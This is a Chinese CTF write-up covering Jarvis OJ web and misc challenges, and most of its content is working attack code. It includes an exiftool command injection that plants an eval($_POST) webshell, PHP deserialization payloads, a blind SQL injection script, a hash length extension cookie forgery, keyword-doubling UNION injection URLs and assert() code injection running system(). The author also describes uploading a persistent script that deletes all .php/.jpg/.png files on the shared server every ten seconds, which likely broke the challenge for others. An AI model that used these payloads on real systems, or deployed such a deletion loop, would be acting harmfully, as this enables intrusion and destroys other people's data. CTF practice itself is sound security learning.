javrisoj的web题writeup
WEB
admin
进去之后发现什么都没有,以为是源码泄露,反正不管怎么样,先扫一波目录https://github.com/Err0rzz/SourceLeakHacker
进去robots.txt,看到
进去之后看到一个假flag,抓包一看就知道了怎么做了…
phpinfo
进去之后看到ini_set('session.serialize_handler', 'php');
想到session反序列化的漏洞http://blog.jobbole.com/107052/
之后构造出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class OowoO { public $mdzz; function __construct() { // $this->mdzz = 'phpinfo();'; $this->mdzz = 'print_r(scandir("/opt/lampp/htdocs"));'; //$this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));'; } function __destruct() { //eval($this->mdzz); } } $m = new OowoO(); echo serialize($m); ?>
|
来将所需要的命令给序列化。
payload分别为:
现在payload已经有了,那么就是将payload写到session里面去。
创建一个a.html
1 2 3 4 5
| <form action="http://web.jarvisoj.com:32784/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
|
然后随便上传一个东西,因为变量PHP_SESSION_UPLOAD_PROGRESS
的存在,所以会将session的值给替换成上面的123,所以只需要抓包将123替换成payload即可,如下图:
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化
图片上传漏洞
这题不懂套路,看了writeup之后才勉强能懂什么意思。
先扫一波看一下
有个test.php
,进去之后发现是phpinfo。最后发现phpinfo中的imagick
https://www.2cto.com/article/201605/505823.html
发现exif也能触发漏洞。
先用exiftool
生成一个一句话后门 路径由 phpinfo 得到
1
| exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" test.png
|
然后上传test.png
注意filetype设置为show
.
上传成功后,就会在uploads/下写入x.php,内容为一句话木马,然后用蚁剑去连接就好了
ps:突然发现uploads/目录有删除的权限,所以上传了个’正经’脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); function getfiles($path){ foreach(glob($path) as $afile){ if(is_dir($afile)) { getfiles($afile.'/*.jpg'); getfiles($afile.'/*.png'); getfiles($afile.'/*.php'); } else unlink($afile); } } while(1){ getfiles(__DIR__); sleep(10); } ?>
|
常驻内存,循环删除.php,.jpg,.png文件,所以这题应该已经挂了。。
api调用
先试了试功能,感觉很像js脚本的功能
抓包一看content-type=json
,搜到http://bobao.360.cn/learning/detail/360.html
如果将content-type
的值改为xml的话,服务器会将你传过去的东西解析成xml
格式的,所以就可以利用xml
来进行嘿嘿嘿了
simple injection
挺简单的一道sql题目,测试了一下,发现只过滤了空格,直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #coding:utf-8 import requests url = 'http://web.jarvisoj.com:32787/login.php' payloads='1234567890qwertyuiopasdfghjklzxcvbnm_@' #xx= "'/**/or/**/if(substring((select/**/database())/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1" #xx = "'/**/or/**/if(substring((select/**/group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1" #xx = "'/**/or/**/if(substring((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin')/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1" xx = "'/**/or/**/if(substring((select/**/password/**/from/**/admin)/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1" def exp(i,x): data={'username':xx %(i,x),'password':'123'} #print data response = requests.post(url,data = data) #print response.content if response.content.find('用户名错误')>0: return 1 else : return 0 ans='' print 'star' for i in range(1,100): for x in payloads: if exp(i,x)==1: ans+=x print ans break
|
md5解密一下:
登陆即可得到flag.
flag在管理员手里
web题第一操作,先扫一波目录,最近换了个新工具https://github.com/ring04h/weakfilescan
看到有源码泄露,访问index.php~下载下来源码,因为下载下来的是一串乱七八糟的,需要去恢复一下。
在linux下用file
看一下文件类型,发现是swap文件的话加上后缀什么的,然后
恢复一下就好了。源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!DOCTYPE html> <html> <head> <title>Web 350</title> <style type="text/css"> body { background:gray; text-align:center; } </style> </head> <body> <?php $auth = false; $role = "guest"; $salt = if (isset($_COOKIE["role"])) { $role = unserialize($_COOKIE["role"]); $hsh = $_COOKIE["hsh"]; if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { $auth = true; } else { $auth = false; } } else { $s = serialize($role); setcookie('role',$s); $hsh = md5($salt.strrev($s)); setcookie('hsh',$hsh); } if ($auth) { echo "<h3>Welcome Admin. Your flag is } else { echo "<h3>Only Admin can see the flag!!</h3>"; } ?> </body> </html>
|
发现是hash长度扩展攻击,唯一不同的是不知道secret的长度
首先观察服务器端给了什么信息,发现服务器端返回了$role='s:5:"guest";'
以及$hsh=md5(salt+strrev($role))
然后需要我们求的是md5(salt+strrev(admin))
先看代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import hashpumpy import urllib import requests for i in range(1,30): m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i) print i url='http://120.26.131.152:32778/' digest=m[0] message=urllib.quote(urllib.unquote(m[1])[::-1]) cookie='role='+message+'; hsh='+digest headers={ 'cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate' } print headers re=requests.get(url=url,headers=headers) print re.text if "Welcome" in re.text: print re; break
|
代码是在linux下运行的,因为使用了hashpumpy
库,这个库我在win下安装不成功..使用说明如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| >>> import hashpumpy >>> help(hashpumpy.hashpump) Help on built-in function hashpump in module hashpumpy: hashpump(...) hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message) Arguments: hexdigest(str): Hex-encoded result of hashing key + original_data. original_data(str): Known data used to get the hash result hexdigest. data_to_add(str): Data to append key_length(int): Length of unknown data prepended to the hash Returns: A tuple containing the new hex digest and the new message. >>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY')) ('e3c4a05f', 'original_datadata_to_add')
|
所以代码中,$hsh的值中已知的部分为strrev(serialize('guest'))
,即';\"tseug\":5:s','
,而需要填充的部分为';\"nimda\":5:s'
,长度则用爆破。
此时构造出来的cookie为
1
| role=s%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B; hsh=fcdc3840332555511c4e4323f6decb07
|
这样的cookie传到服务端,首先根据源码,会将role
反序列化之后比较是否等于admin
,这时候会发现php反序列化也存在%00截断,所以第一个判断过了
接下来会判断$hsh
是否等于md5($salt+strrev($role))
,而md5($salt+strrev($role))
等于md5($salt+strrev(s:5:"admin";%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest";))
等于md5($salt+strrev(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00;\"nimda\":5:s))
,而其中md5($salt+strrev(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00)
等于已知的3a4727d57463f122833d9e732f94e4e0
,而这个值也将作为下一个分组的输入,这个和hashpump的运算结果是一样的,所以运行一下代码:
Login
抓包一看发现hint
google一下http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/,直接提交ffifdyop
,得到flag
PORT 51
这题其实就是一个命令的事,不过因为是校园网,出路由的时候会变端口,所以在vps上跑了
localhost
说localhost only,加个x-forwarded-for:127.0.0.1
神盾局的秘密
右键查看源码发现有个文件包含,读一下index.php和shield.php
index.php
:
1 2 3 4 5 6 7 8 9 10
| <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
|
shield.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
反序列化漏洞,根据源码重新写个代码然后将这个值用get
方法传给index.php
IN A Mess
一进去看就知道应该是骚目录或者源码泄露,上了几个开源工具都失败了之后还是选择相信awvs
看一下index.phps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } $data = @file_get_contents($a,'r'); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?>
|
php黑魔法了,a的话可以用data伪协议
绕过http://cn2.php.net/manual/zh/wrappers.data.php,或者用php://input
也可以。id的话因为是两个等号,只要不是数字都能和0相等,b的话因为是eregi
存在%00截断,所以最后构造的payload如下:
1
| ?id=asd&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=%00aaaaaaaaaaaa
|
或者
1 2
| http://web.jarvisoj.com:32780/index.php?id=asd&a=php://input&b=%00aaaaaaaaaaaa post:1112 is a nice lab!
|
拿到一个新目录,继续awvs:
扫出个注入,get
方法参数是id
简单测试一下,发现过滤了简单的过滤了空格
以及/**/
,还有像select
,union
,from
这种关键字都被正则替换了一次,用seselectlect
就能过.
1 2 3 4 5 6 7 8 9 10 11
| 确定列数 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,3%23 确定表名 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(table_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_schema=database()# 确定列名 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(column_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_name=0x636f6e74656e74%23 获得数据 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,context/*aaa*/frfromom/*aaa*/content%23
|
re?
下载下来之后是个udf.so文件,https://err0rzz.github.io/2017/12/26/UDF-mysql/
接下来操作都很简单了,从udf.so里导入help_me函数,返回值为STRING,然后根据提示去导入getflag函数,就能得到flag了。
babyphp
提示有说到git,猜测git文件泄露,恢复之后
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>My PHP Website</title> <link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" /> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Project name</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li> <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li> <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li> <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> </ul> </div> </div> </nav> <div class="container" style="margin-top: 50px"> <?php require_once $file; ?> </div> <script src="http://code.jquery.com/jquery-latest.js" /> <script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" /> </body> </html>
|
这里就是需要通过
1 2
| assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!");
|
这两个断言,而$file
是我们可以主动构造的,而且我也是刚知道php有个神奇的特性,如下:
字符串拼接的时候是可以执行命令的,所以构造如下:
1
| ?page=flag'.system("ls templates/;").'
|
此时构造出来的
1
| assert("strpos('templates/flag'.system("ls templates/;").'.php', '..') === false") or die("Detected hacking attempt!");
|
此时程序会先执行ls
,然后将输出结果和'templates/'
和'.php'
拼接出来,然后再去执行strpos
,所以输出结果:
然后去cat flag.php
就好了
inject
这种点进去什么都没有的题目,第一反应就应该是源码泄露或者骚目录,扫一下再说,然后发现index.php~
1 2 3 4 5 6 7 8 9
| <?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
|
先闭合反引号吧,然后
感觉像是排序的问题,
然后正常的sql注入:
1 2 3 4 5 6 7 8 9 10 11
| 查库名 ?table=flag` ` union select database() limit 1,1 查表名 ?table=flag` ` union select group_concat(table_name) from information_schema.columns where table_schema=database() limit 1,1 查列名 ?table=flag` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 查flag ?table=flag` ` union select flagUwillNeverKnow from secret_flag limit 1,1
|
MISC
shell流量分析
流量包分析,先搜索一下flag字符串
没想到还真的有,跟踪tcp流看一下。发现全是命令
其中加解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #!/usr/bin/env python # coding:utf-8 __author__ = 'Aklis' from Crypto import Random from Crypto.Cipher import AES import sys import base64 def decrypt(encrypted, passphrase): IV = encrypted[:16] aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.decrypt(encrypted[16:]) def encrypt(message, passphrase): IV = message[:16] length = 16 count = len(message) padding = length - (count % length) message = message + '\0' * padding aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) IV = 'YUFHJKVWEASDGQDH' message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}' print len(message) example = encrypt(message, 'Qq4wdrhhyEWe4qBF') print example example = decrypt(example, 'Qq4wdrhhyEWe4qBF') print example
|
还有flag=mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==
很明显是base64加密,只需要稍微改一下代码就可解出答案了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #!/usr/bin/env python # coding:utf-8 __author__ = 'Aklis' from Crypto import Random from Crypto.Cipher import AES import sys import base64 def decrypt(encrypted, passphrase): IV = encrypted[:16] aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.decrypt(encrypted[16:]) def encrypt(message, passphrase): IV = message[:16] length = 16 count = len(message) padding = length - (count % length) message = message + '\0' * padding aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) IV = 'YUFHJKVWEASDGQDH' message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}' flag = 'mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==' flag=base64.b64decode(flag) example = decrypt(flag, 'Qq4wdrhhyEWe4qBF') print example
|